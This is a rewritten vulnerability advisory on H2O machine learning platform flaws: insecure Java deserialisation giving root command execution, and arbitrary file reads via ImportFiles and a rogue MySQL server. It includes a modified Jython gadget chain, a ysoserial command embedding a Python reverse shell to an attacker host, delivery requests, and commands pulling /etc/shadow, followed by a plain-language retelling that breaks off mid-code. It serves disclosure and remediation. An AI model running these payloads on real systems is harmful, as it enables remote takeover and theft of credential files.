Multiple vulnerabilities in H2O ≤ 3.32.1.3
The H2O machine learning platform deserialises user-controlled Java objects on several endpoints, allowing an attacker to execute arbitrary commands. Additionally, any user can read arbitrary files on the server via the importFiles routine or by using a rogue MySQL server with the importSqlTable feature.
Published on synacktiv.com
Vulnerability description H2O H2O is an open source, in-memory, distributed, fast, and scalable machine learning and predictive analytics platform that allows you to build machine learning models on big data and provides easy productionalization of those models in an enterprise environment.…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
H2O is an open source, in-memory, distributed machine learning and predictive analytics platform. It lets teams build models on big data and put those models into production in an enterprise environment. During a security assessment, Synacktiv encountered an instance of the application and identified several issues: insecure deserialisation of user-controlled data on multiple endpoints, leading to remote command execution, and two ways to read arbitrary files on the underlying system with the permissions of the user running the process.
The advisory covers versions [redacted] and [redacted], which are known to be vulnerable. The work is credited to Clément Amic, Julien Legras and Lena David, and was published in November 2022 after a long disclosure timeline.
Setup
In the proof of concept the application listens on port 54321 and is reached at [redacted], with the attacker machine at [redacted]. The process is shown running as root (/opt/h2o.jar started with java -Xmx4g -jar).
Tools used across the write-up:
- the HTTPie client (
http) to send serialised payloads; - a modified build of ysoserial (
ysoserial-modified-all.jar) carrying a Jython2 gadget chain; ncas a reverse shell listener;bettercapto stand up a rogue MySQL server;curlandjqto read parsed frames and list files.
For the MySQL vector, the precondition is that H2O is run alongside a MySQL connector, and that the connection URL supplied to the import routine can set allowLoadLocalInfile to true.
Finding it
The starting observation is that several entry points of the application deserialise user-controlled data without sufficient verification of that data's innocuity. The first example is an HTTP POST to /3/XGBoostExecutor.upload, handled by the RemoteXGBoostUploadServlet class and more specifically its doPost method. The data_type parameter is read from the request and converted with RequestType.valueOf. When it is any valid RequestType other than checkpoint, the code calls handleMatrixRequest, which calls readObject on the request body:
public class RemoteXGBoostUploadServlet extends HttpServlet {
[...]
public enum RequestType {
checkpoint,
sparseMatrixDimensions,
sparseMatrixChunk,
denseMatrixDimensions,
denseMatrixChunk,
matrixData
}
[...]
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
String uri = ServletUtils.getDecodedUri(request);
try {
String model_key = request.getParameter("model_key");
String data_type = request.getParameter("data_type");
LOG.info("Upload request for " + model_key + " " + data_type + " received");
RequestType type = RequestType.valueOf(data_type);
if (type == RequestType.checkpoint) {
File destFile = getCheckpointFile(model_key);
saveIntoFile(destFile, request);
} else {
handleMatrixRequest(model_key, type, request);
}
response.setContentType("application/json");
response.getWriter().write(new XGBoostExecRespV3(Key.make(model_key)).toJsonString());
} catch (Exception e) {
ServletUtils.sendErrorResponse(response, e, uri);
} finally {
ServletUtils.logRequest("POST", request, response);
}
}
private void handleMatrixRequest(String model_key, RequestType type, HttpServletRequest request) throws IOException, ClassNotFoundException {
Object requestData = new ObjectInputStream(request.getInputStream()).readObject();
switch (type) {
case sparseMatrixDimensions:
RemoteMatrixLoader.initSparse(model_key, (SparseMatrixDimensions)
requestData);
break;
case sparseMatrixChunk:
RemoteMatrixLoader.sparseChunk(model_key, (XGBoostUploadMatrixTask.SparseMatrixChunk) requestData);
break;
case denseMatrixDimensions:
RemoteMatrixLoader.initDense(model_key, (XGBoostUploadMatrixTask.DenseMatrixDimensions) requestData);
break;
case denseMatrixChunk:
RemoteMatrixLoader.denseChunk(model_key, (XGBoostUploadMatrixTask.DenseMatrixChunk) requestData);
break;
case matrixData:
RemoteMatrixLoader.matrixData(model_key, (XGBoostUploadMatrixTask.MatrixData) requestData);
break;
default:
throw new IllegalArgumentException("Unexpected request type: " + type);
}
}
[...]
}
The data_type value can be supplied as a URL parameter, so the attacker controls which branch runs. Any valid RequestType other than checkpoint reaches new ObjectInputStream(request.getInputStream()).readObject(), which instantiates whatever class the body describes. The cast that follows happens after deserialisation, so it does not protect anything.
Other occurrences of readObject exist in the source. One is javaSerializeReadPojo in AutoBuffer, on which readData of XGBoostExecReqV3 relies:
public class XGBoostExecReqV3 extends Schema<Iced, XGBoostExecReqV3> {
public XGBoostExecReqV3(Key key, XGBoostExecReq req) {
this.key = KeyV3.make(key);
this.data = Base64.encodeBase64String(AutoBuffer.javaSerializeWritePojo(req));
}
public XGBoostExecReqV3() {}
@API(help="Identifier")
public KeyV3 key;
@API(help="Arbitrary request data stored as Base64 encoded binary")
public String data;
@SuppressWarnings("unchecked")
public <T> T readData() {
return (T) AutoBuffer.javaSerializeReadPojo(Base64.decodeBase64(data));
}
}
public final class AutoBuffer implements AutoCloseable {
[...]
public static Object javaSerializeReadPojo(byte [] bytes) {
try {
final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Object o = ois.readObject();
return o;
} catch (IOException e) {
String className = nameOfClass(bytes);
throw Log.throwErr(new RuntimeException("Failed to deserialize " + className, e));
} catch (ClassNotFoundException e) {
throw Log.throwErr(e);
}
}
Exploitation
Step 1: choosing a gadget chain
The targeted Java application was not affected by the gadget chains currently implemented in ysoserial. Reading through H2O's source code and its dependencies quickly identifies the Jython library 2.7.1b3, included in the jython-cfunc extension, which is included by default in the main Gradle project. Gadget chains for Jython exist and were published in ysoserial's repository pull requests:
- https://github.com/frohoff/ysoserial/pull/135 by ykoster
- https://github.com/frohoff/ysoserial/pull/153 by JackOfMostTrades, the gadgetinspector's author
The second pull request was used, with its Jython2 gadget chain. It executes arbitrary Python code, pre-compiled as Python bytecode, upon deserialisation. Because the library is not really used by default in H2O, it is not properly initialised, and the gadget chain fails once Jython tries to import the os builtin library.
Step 2: adapting the chain
The gadget was slightly modified: the Python bytecode was replaced by a shorter function that calls the Python exec statement and directly calls Java's Runtime.exec:
$ python2
>>> def func():
... cmd = 'id'
... exec('import java.lang.Runtime; java.lang.Runtime.getRuntime().exec(cmd)')
...
>>> func.__code__.co_code.encode('hex')
'[redacted]'
That bytecode was then placed in the Jython2 gadget chain:
package ysoserial.payloads;
import org.python.core.*;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Map;
/*
Slightly modified from https://github.com/frohoff/ysoserial/pull/153/files#[redacted]
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map.entrySet()
[Implemented as a proxy class with PyMethod InvocationHandler]
PyMethod.__call__()
PyMethod.__call__(state)
PyMethod.__call__(state, arg0)
BuiltinFunctions.__call__(state, arg0, arg1)
__builtin__.eval(arg1, arg2, arg3)
Py.runCode(code, locals, globals);
Requires:
org.python:jython
Versions since 2.7.0 are vulnerable.
Versions up to 2.7.2b2 are known to be vulnerable.
*/
@SuppressWarnings({"unchecked"})
@Dependencies({"org.python:jython:2.7.1b3"})
@Authors({Authors.JACKOFMOSTTRADES})
public class Jython2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
/*
2 0 LOAD_CONST 1 (<command>)
3 STORE_FAST 0 (cmd)
3 6 LOAD_CONST 2 ('import java.lang.Runtime; java.lang.Runtime.getRuntime().exec(cmd)')
9 LOAD_CONST 0 (None)
12 DUP_TOP
13 EXEC_STMT
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
*/
String pcode = "[redacted]";
// Helping consts and names
PyObject[] consts = new PyObject[]{
Py.None,
Py.newString(command),
Py.newString("import java.lang.Runtime;java.lang.Runtime.getRuntime().exec(['/bin/bash', '-c', cmd])")
};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(0, 1, 3, 66, "", consts, new String[]{""}, new String[]{"cmd"}, "<string>", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(pcode, 16).toByteArray());
Constructor<?> cons = Class.forName("org.python.core.BuiltinFunctions").getConstructor(String.class, int.class, int.class);
cons.setAccessible(true);
PyObject payloadclass = (PyObject) cons.newInstance("", 18, 3);
PyMethod wrapperOne = new PyMethod(payloadclass, codeobj, null);
PyMethod wrapperTwo = new PyMethod(wrapperOne, new PyStringMap(), null);
Map<String, Object> proxyMap = (Map<String, Object>) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Map.class}, wrapperTwo);
return Gadgets.createMemoizedInvocationHandler(proxyMap);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython2.class, args);
}
}
The chain reaches Py.runCode through a proxy Map whose invocation handler is a PyMethod, so the deserialisation of the object graph ends up evaluating the embedded bytecode.
Step 3: generating the payload
The following command generates a serialised chain that executes a Python reverse shell and saves it to payload.bin:
$ java -jar ysoserial-modified-all.jar Jython2 "python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"[redacted]\",4242)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > payload.bin
Step 4: delivering it to the vulnerable endpoint
The payload is sent to the upload endpoint with data_type=matrixData, which satisfies the requirement of a valid RequestType different from checkpoint:
$ http --body -vvv POST 'http://[redacted]:54321/3/XGBoostExecutor.upload? model_key=test&data_type=matrixData' < ./payload.bin
A reverse shell arrives on the listener set at [redacted]:4242 beforehand:
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17. 0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
root 92 0.0 0.0 4508 708 pts/0 S 11:38 0:00 /bin/sh -i
root 190 0.0 0.0 34428 2788 pts/0 R+ 12:12 0:00 ps aux
The id output shows the command runs as root, and the ps aux output shows the H2O process also running as root.
Step 5: arbitrary file read through the MySQL connector
H2O provides an importSQLTable routine that lets users retrieve data from a remote database. When a MySQL connector is used alongside the application, it is possible to read arbitrary files on the system running H2O. This relies on MySQL's LOAD DATA LOCAL statement, which a MySQL server can use to request that a client provide the content of a file. For the server to be able to do so, the allowLoadLocalInfile connection property of the URI specified by the client must be set to true. In the context of importSqlTable, the server running H2O acts as a client to the server specified by the user in the Connection URL.
A rogue MySQL server can be set up quickly with bettercap:
$ sudo bettercap -iface docker0
[...]
[redacted]/16 > [redacted] » set mysql.server.infile /etc/shadow
[redacted]/16 > [redacted] » mysql.server on
[redacted]/16 > [redacted] » [18:27:37] [sys.log] [inf] mysql.server server starting on address [redacted]:3306
The following Connection URL is then used in H2O's importSqlTables feature:
jdbc:mysql://[redacted]:3306/test? &useSSL=false&allowLoadLocalInfile=true.
Figure 1 shows the interface where the user-controlled server is specified and allowLoadLocalInfile is set to true in the connection URL.
Clicking the Import button sends the following request:
POST /99/ImportSQLTable HTTP/1.1
Host: [redacted]:54321
[...]
connection_url=jdbc%3Amysql%3A%2F%2F172.17.0.1%3A3306%2Ftest%3F%26useSSL%3Dfalse
%26allowLoadLocalInfile%3Dtrue&table=&username=&password=&fetch_mode=DISTRIBUTED
Meanwhile, the rogue MySQL server receives the content of the selected file:
[redacted]/16 > [redacted] » [09:10:15] [sys.log] [inf] mysql.server server starting on address [redacted]:3306
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server connection from [redacted]
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server login request username:
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server can use LOAD DATA LOCAL: 1
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server root:*:18641:0:99999:7:::
daemon:*:18641:0:99999:7:::
bin:*:18641:0:99999:7:::
sys:*:18641:0:99999:7:::
sync:*:18641:0:99999:7:::
games:*:18641:0:99999:7:::
man:*:18641:0:99999:7:::
lp:*:18641:0:99999:7:::
mail:*:18641:0:99999:7:::
news:*:18641:0:99999:7:::
uucp:*:18641:0:99999:7:::
proxy:*:18641:0:99999:7:::
www-data:*:18641:0:99999:7:::
backup:*:18641:0:99999:7:::
list:*:18641:0:99999:7:::
irc:*:18641:0:99999:7:::
gnats:*:18641:0:99999:7:::
nobody:*:18641:0:99999:7:::
systemd-timesync:*:18641:0:99999:7:::
systemd-network:*:18641:0:99999:7:::
systemd-resolve:*:18641:0:99999:7:::
systemd-bus-proxy:*:18641:0:99999:7:::
_apt:*:18641:0:99999:7:::
messagebus:*:18792:0:99999:7:::
Adding an allowUrlInLocalInfile URL parameter set to true would also let the same feature be exploited as a Server-Side Request Forgery.
Step 6: arbitrary file read through ImportFiles
The application offers an ImportFiles routine which, by design, allows reading files on the underlying filesystem. No restriction is applied on which parts of the filesystem are accessible through it, so any user of the application can read any file the user running the application has access to.
The user first selects the file to import (Figure 2). Under the hood this corresponds to the following request. The response defines a frame for the selected file, which allows processing it further:
GET /3/ImportFiles?path=%2Fetc%2Fshadow HTTP/1.1
Host: [redacted]:54321
[...]
HTTP/1.1 200 OK
Connection: close
Content-Length: 233
X-h2o-build-project-version: [redacted]
[...]
{"__meta": {"schema_version":3,"schema_name":"ImportFilesV3","schema_type":"ImportFiles"},"_exclude_fi
elds":"","path":"/etc/shadow","pattern":null,"files":["/etc/shadow"],"destination_frames":
["nfs://etc/shadow"],"fails":[],"dels":[]}
The user then indicates how the file should be parsed. Data from the chosen file is already accessible at this point (Figure 3). This corresponds to the following request and response:
POST /3/ParseSetup HTTP/1.1
Host: [redacted]:54321
[...]
source_frames=%5B%22nfs%3A%2F%2Fetc%2Fshadow
%22%5D&parse_type=CSV&separator=7&single_quotes=false&check_header=-1&column_types=%5B
%22String%22%5D
HTTP/1.1 200 OK
Connection: close
X-h2o-build-project-version: [redacted]
Content-Length: 1051
[...]
{"__meta": {"schema_version":3,"schema_name":"ParseSetupV3","schema_type":"ParseSetup"},"_exclude_fiel
ds":"","source_frames":[{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"nfs://
etc/shadow","type":"Key<Frame>","URL":"/3/Frames/nfs://etc/
shadow"}],"parse_type":"CSV","separator":7,"single_quotes":false,"check_header":1,"column_names":null,"skipped_columns":null,"column_types":
["String"],"na_strings":null,"column_name_filter":null,"column_offset":0,"column_count":0,"
destination_frame":"shadow.hex","header_lines":0,"number_columns":1,"data":
[["root:*:18641:0:99999:7:::"],["daemon:*:18641:0:99999:7:::"],
["bin:*:18641:0:99999:7:::"],["sys:*:18641:0:99999:7:::"],["sync:*:18641:0:99999:7:::"],
["games:*:18641:0:99999:7:::"],["man:*:18641:0:99999:7:::"],["lp:*:18641:0:99999:7:::"],
["mail:*:18641:0:99999:7:::"],
["news:*:18641:0:99999:7:::"]],"warnings":null,"chunk_size":4194304,"total_filtered_column_
count":1,"custom_non_data_line_markers":null,"decrypt_tool":null,"partition_by":null,"escap
echar":0}
As in the previous step, the frame to use for further handling is provided in the destination_frame field of the response. The next step actually parses the file. When the user clicks Parse, the following request is sent:
POST /3/Parse HTTP/1.1
Host: [redacted]:54321
[...]
destination_frame=shadow.hex&source_frames=%5B%22nfs%3A%2F%2Fetc%2Fshadow
%22%5D&parse_type=CSV&separator=7&number_columns=1&single_quotes=false&column_names=&column
_types=%5B%22String%22%5D&check_header=-1&delete_on_done=true&chunk_size=4194304
The response is as follows:
HTTP/1.1 200 OK
Connection: close
X-h2o-build-project-version: [redacted]
Content-Length: 1532
[...]
{"__meta": {"schema_version":3,"schema_name":"ParseV3","schema_type":"Iced"},"_exclude_fields":"","des
tination_frame":{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"shadow1.
hex","type":"Key<Frame>","URL":"/3/Frames/shadow.hex"},"source_frames":[{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"nfs://
etc/shadow","type":"Key<Frame>","URL":"/3/Frames/nfs://etc/
shadow"}],"parse_type":"CSV","separator":7,"single_quotes":false,"check_header":1,"number_columns":1,"column_names":null,"column_types":
["String"],"skipped_columns":null,"domains":null,"na_strings":null,"chunk_size":4194304,"de
lete_on_done":true,"blocking":false,"decrypt_tool":null,"custom_non_data_line_markers":null
,"partition_by":null,"job":{"__meta": {"schema_version":3,"schema_name":"JobV3","schema_type":"Job"},"key":{"__meta":
{"schema_version":3,"schema_name":"JobKeyV3","schema_type":"Key<Job>"},"name":"$0301ac11000
332d4ffffffff$[redacted]","type":"Key<Job>","URL":"/3/Jobs/
$0301ac11000332d4ffffffff$[redacted]"},"description":"Parse","status
":"RUNNING","progress":0.0,"progress_msg":"Ingesting files.","start_time":1623853648947,"msec":1,"dest":{"__meta":
{"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"shadow.h
ex","type":"Key<Frame>","URL":"/3/Frames/
shadow.hex"},"warnings":null,"exception":null,"stacktrace":null,"auto_recoverable":false,"r
eady_for_view":true},"rows":0,"escapechar":0}
Among other things, this response contains the URL of the job that will handle the parsing, and another URL at which the parsed data will be accessible once the job is completed.
The parsed data can then be displayed (Figure 4). It corresponds to the string_data field of the response to the following request:
GET /3/Frames/shadow.hex HTTP/1.1
Host: [redacted]:54321
[...]
HTTP/1.1 200 OK
Connection: close
X-h2o-build-project-version: [redacted]
Content-Length: 4623
[...]
{"__meta": {"schema_version":3,"schema_name":"FramesV3","schema_type":"Frames"},"_exclude_fields":"","
row_offset":0,"row_count":-1,"column_offset":0,"full_column_count":-1,"column_count":1,"compression":null,"separator":44,"header":true,"quote_header":true,"job":null,"frames":
[{"__meta": {"schema_version":3,"schema_name":"FrameV3","schema_type":"Frame"},"_exclude_fields":"","fr
ame_id":{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"shadow.h
ex","type":"Key<Frame>","URL":"/3/Frames/
shadow.hex"},"byte_size":853,"is_text":false,"row_offset":0,"row_count":24,"column_offset":
0,"column_count":1,"full_column_count":1,"total_column_count":1,"checksum":3148031620661992,"rows":24,"num_columns":1,"default_percentiles":
[0.001,0.01,0.1,0.2,0.25,0.3,0.3333333333333333,0.4,0.5,0.6,0.6666666666666666,0.7,0.75,0.8
,0.9,0.99,0.999],"columns":[{"__meta":
{"schema_version":3,"schema_name":"ColV3","schema_type":"Vec"},"label":"C1","missing_count"
:0,"zero_count":0,"positive_infinity_count":0,"negative_infinity_count":0,"mins":
["NaN","NaN","NaN","NaN","NaN"],"maxs":
["NaN","NaN","NaN","NaN","NaN"],"mean":"NaN","sigma":"NaN","type":"string","domain":null,"d
omain_cardinality":0,"data":null,"string_data":
["root:*:18641:0:99999:7:::","daemon:*:18641:0:99999:7:::","bin:*:18641:0:99999:7:::","sys:
*:18641:0:99999:7:::","sync:*:18641:0:99999:7:::","games:*:18641:0:99999:7:::","man:*:18641
:0:99999:7:::","lp:*:18641:0:99999:7:::","mail:*:18641:0:99999:7:::","news:*:18641:0:99999:
7:::","uucp:*:18641:0:99999:7:::","proxy:*:18641:0:99999:7:::","wwwdata:*:18641:0:99999:7:::","backup:*:18641:0:99999:7:::","list:*:18641:0:99999:7:::","irc:*
:18641:0:99999:7:::","gnats:*:18641:0:99999:7:::","nobody:*:18641:0:99999:7:::","systemdtimesync:*:18641:0:99999:7:::","systemd-network:*:18641:0:99999:7:::","systemdresolve:*:18641:0:99999:7:::","systemd-busproxy:*:18641:0:99999:7:::","_apt:*:18641:0:99999:7:::","messagebus:*:18792:0:99999:7:::"],
"precision":1,"histogram_bins":null,"histogram_base":0.0,"histogram_stride":0.0,"percentiles":null}],"c
ompatible_models":null,"chunk_summary":{"__meta":
{"schema_version":3,"schema_name":"TwoDimTableV3","schema_type":"TwoDimTable"},"name":"Chun
k compression summary","description":"","columns":[{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"chunk_type","type":"string"
,"format":"%8s","description":"Chunk Type"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"chunk_name","type":"string"
,"format":"%s","description":"Chunk Name"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"count","type":"int","format
":"%10d","description":"Count"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"count_percentage","type":"f
loat","format":"%10.3f %%","description":"Count Percentage"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"size","type":"string","form
at":"%10s","description":"Size"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"size_percentage","type":"fl
oat","format":"%10.3f %%","description":"Size Percentage"}],"rowcount":1,"data":[["CStr"],
["Strings"],[1],[100.0],[" 853 B"],[100.0]]},"distribution_summary":{"__meta":
{"schema_version":3,"schema_name":"TwoDimTableV3","schema_type":"TwoDimTable"},"name":"Fram
e distribution summary","description":"","columns":[{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"","type":"string","format":
"%s","description":""},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"size","type":"string","form
at":"%s","description":"Size"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"number_of_rows","type":"flo
at","format":"%f","description":"Number of Rows"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"number_of_chunks_per_column
","type":"float","format":"%f","description":"Number of Chunks per Column"},{"__meta":
{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"number_of_chunks","type":"f
loat","format":"%f","description":"Number of Chunks"}],"rowcount":6,"data":
[["[redacted]:54321","mean","min","max","stddev","total"],[" 853 B"," 853 B"," 853 B"," 853 B"," 0 B"," 853 B"],[24,24.0,24.0,24.0,0.0,24],
[1,1.0,1.0,1.0,0.0,1],[1,1.0,1.0,1.0,0.0,1]]}}],"compatible_models":null,"domain":null}
Or, in a more readable way:
$ curl -ks http://[redacted]:54321/3/Frames/shadow.hex | jq \
-r '.frames[0].columns[0].string_data[]'
root:*:18641:0:99999:7:::
daemon:*:18641:0:99999:7:::
bin:*:18641:0:99999:7:::
sys:*:18641:0:99999:7:::
sync:*:18641:0:99999:7:::
games:*:18641:0:99999:7:::
man:*:18641:0:99999:7:::
lp:*:18641:0:99999:7:::
mail:*:18641:0:99999:7:::
news:*:18641:0:99999:7:::
uucp:*:18641:0:99999:7:::
proxy:*:18641:0:99999:7:::
www-data:*:18641:0:99999:7:::
backup:*:18641:0:99999:7:::
list:*:18641:0:99999:7:::
irc:*:18641:0:99999:7:::
gnats:*:18641:0:99999:7:::
nobody:*:18641:0:99999:7:::
systemd-timesync:*:18641:0:99999:7:::
systemd-network:*:18641:0:99999:7:::
systemd-resolve:*:18641:0:99999:7:::
systemd-bus-proxy:*:18641:0:99999:7:::
_apt:*:18641:0:99999:7:::
messagebus:*:18792:0:99999:7:::
Because of the Typeahead field that allows searching through files, it is also possible to list the files present under any path, still with the permissions of the user running the application:
$ curl 'http://[redacted]:54321/3/Typeahead/files?src=%2Fetc%2F&limit=10000' | jq \
-r '.matches[]'
/etc/xdg
/etc/os-release
/etc/ld.so.conf.d
/etc/bindresvport.blacklist
/etc/securetty
/etc/default
/etc/subuid
/etc/host.conf
/etc/ld.so.conf
/etc/nsswitch.conf
/etc/debian_version
[...]
Root cause
The deserialisation issue is a design mistake: several endpoints accept user-controlled serialised objects and pass them straight to ObjectInputStream.readObject() without any prior verification of the data. In RemoteXGBoostUploadServlet, the only gate is the data_type parameter, which the attacker supplies, and the type cast happens after the object has already been instantiated. In AutoBuffer.javaSerializeReadPojo, the same pattern appears in a helper used by XGBoostExecReqV3.readData. Because Jython 2.7.1b3 ships by default through the jython-cfunc extension, a usable gadget chain is present on the classpath even though the library is not really used by the application.
The file read issues are separate. ImportFiles is a feature that reads files by design, and no restriction is applied to which parts of the filesystem are reachable, so the only limit is the permissions of the user running the process. The MySQL vector depends on the allowLoadLocalInfile connection property being settable to true through the user-supplied Connection URL, which lets a rogue server ask the H2O client for a local file.
Impact
On the deserialisation side, an attacker can instantiate arbitrary objects and ultimately obtain arbitrary command execution on the system running H2O. In the demonstration the shell runs as root, and the process is shown running as root.
On the file read side, any user accessing H2O's web interface can read arbitrary files on the underlying system with the permissions of the system user running the application. The MySQL variant requires that a MySQL connector is used alongside the application and that allowLoadLocalInfile can be set to true in the connection URL. The ImportFiles variant needs no such condition, and the Typeahead field additionally allows listing files under any path, still with the permissions of the user running the application. Which files are actually accessible depends on the permissions of the user owning the process.
Fix
For the insecure deserialisation, the application should not unserialize user-controlled data without prior verification. Inspecting an ObjectInputStream before unserializing can be done with the ValidatingObjectInputStream from Apache Commons IO:
FileInputStream fileIn = new FileInputStream("Object.ser");
ValidatingObjectInputStream in = new ValidatingObjectInputStream(fileIn);
in.accept(AllowedClass);
var obj = (AllowedClass)in.readObject();
A commit was pushed on GitHub ([redacted], version 3.32.1.6), fixing the deserialisation issue by using the regular H2O serialisation mechanism instead.
For the MySQL file read vector, the value of the allowLoadLocalInfile connection property must be false. Lacking a simple way to configure MySQL Connector/J accordingly, the Connection URL should be sanitised so that no such connection property, or other potentially dangerous ones such as allowUrlInLocalInfile, are present and set to values leading to security issues.
For the ImportFiles vector, restricting the locations accessible to the application's users limits exposure. Since the accessible files depend on the permissions of the user owning the process, the documentation should also be updated to discourage running the application as a privileged user such as root/uid 0.
Variants to test
- Other
readObjectsinks. Search the source forObjectInputStreamandreadObjectand trace which HTTP parameters reach them. A positive result is a request whose body is deserialised before any type check, as withdata_typehere. - Other
data_typevalues. On/3/XGBoostExecutor.upload, try eachRequestTypeother thancheckpoint(sparseMatrixDimensions,sparseMatrixChunk,denseMatrixDimensions,denseMatrixChunk,matrixData). A positive result is a deserialisation error naming your class, or code execution. - Base64-wrapped serialised data. Look for fields documented as Base64-encoded binary, like
datainXGBoostExecReqV3, and check whetherreadDatais reachable from a request. A positive result is a deserialisation stack trace triggered by your Base64 blob. - Gadget inventory. Enumerate bundled libraries (here Jython 2.7.1b3 via
jython-cfunc) and match them against known chains. A positive result is a chain that can be adapted as done here. allowLoadLocalInfilein connection URLs. Wherever a user-supplied JDBC URL is accepted, tryallowLoadLocalInfile=trueagainst a rogue MySQL server. A positive result is the server receiving the content of a local file.allowUrlInLocalInfile. Add it set totrueto the same URL. A positive result is an outbound request from the H2O host to a URL you control, i.e. SSRF.- Path traversal in import features. Send paths outside the intended data directory to
ImportFilesand to the Typeahead file search. A positive result is a frame created for the file, or a listing of the target directory.
What happened, in plain words
H2O is a piece of software that companies install on a server to build and run machine learning models. You can think of it as a very clever calculator that lives on a computer somewhere and that people talk to through a web page. During a security assessment (a paid, authorised test where experts try to break a system on purpose so it can be fixed), the Synacktiv team found several problems in H2O.
The first problem is that some parts of H2O accept data from the user and turn that data back into live program objects without checking what those objects are. In programming terms this is called deserialisation, and doing it on untrusted input is a well-known dangerous mistake. An attacker can craft the data so that, instead of a harmless object, the application builds an object that runs commands. The result is remote command execution: the attacker gets to run their own commands on the server, as if they were sitting in front of it.
The second and third problems are about reading files. H2O has a feature that reads files from the server's disk, and it does not restrict which files. So anyone who can reach the web interface can read files that the H2O process is allowed to read. There is also a second, more indirect way to read files, which works when H2O is set up to talk to a MySQL database.
The advisory covers versions [redacted] and [redacted], which are known to be vulnerable. The work is credited to Clément Amic, Julien Legras and Lena David, and was published in November 2022 after a long back-and-forth with the vendor.
Setup
The test was run against a live H2O instance reachable over HTTP. HTTP is the language your browser uses to talk to websites; here the tools talk to H2O the same way a browser would. In the demonstration the application listens on port 54321 and is reached at [redacted], while the attacker's machine is at [redacted]. The attacker's machine is at [redacted]. The H2O process is shown running as root (/opt/h2o.jar started with java -Xmx4g -jar). Root is the all-powerful administrator account on Linux.
Tools used across the write-up:
- the HTTPie client (
http), a command-line tool for sending HTTP requests, like a browser but scriptable; - a modified build of ysoserial (
ysoserial-modified-all.jar), a tool that builds malicious serialised payloads; nc(netcat), a simple tool that can listen on a network port and wait for a connection;bettercap, a network tool that, among other things, can pretend to be a MySQL database server;curlandjq, to fetch web responses and pick fields out of the JSON they contain.
For the MySQL vector, the precondition is that H2O is run alongside a MySQL connector (a small library that lets Java programs talk to MySQL databases), and that the connection URL supplied to the import routine can set allowLoadLocalInfile to true.
Finding it
The starting observation is that several entry points of the application deserialise user-controlled data without sufficient verification of that data's innocuity. An entry point is simply a URL or feature that accepts input from outside. The first example is an HTTP POST to /3/XGBoostExecutor.upload, handled by the RemoteXGBoostUploadServlet class and more specifically its doPost method. A class is a blueprint in Java code, and a method is a named block of code inside it; doPost is the block that runs when a POST request arrives. The data_type parameter is read from the request and converted with RequestType.valueOf. A parameter is a named value sent along with a request, like ?data_type=matrixData in the URL. When data_type is any valid RequestType other than checkpoint, the code calls handleMatrixRequest, which calls readObject on the request body:
public class RemoteXGBoostUploadServlet extends HttpServlet {
[...]
public enum RequestType {
checkpoint,
sparseMatrixDimensions,
sparseMatrixChunk,
denseMatrixDimensions,
denseMatrixChunk,
matrixData
}
[...]
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
String uri = ServletUtils.getDecodedUri(request);
try {
String model_key = request.getParameter("model_key");
String data_type = request.getParameter("data_type");
LOG.info("Upload request for " + model_key + " " + data_type + " received");
RequestType type = RequestType.valueOf(data_type);
if (type == RequestType.checkpoint) {
File destFile = getCheckpointFile(model_key);
saveIntoFile(destFile, request);
} else {
handleMatrixRequest(model_key, type, request);
}
response.setContentType("application/json");
response.getWriter().write(new XGBoostExecRespV3(Key.make(model_key)).toJsonString());
} catch (Exception e) {
ServletUtils.sendErrorResponse(response, e, uri);
} finally {
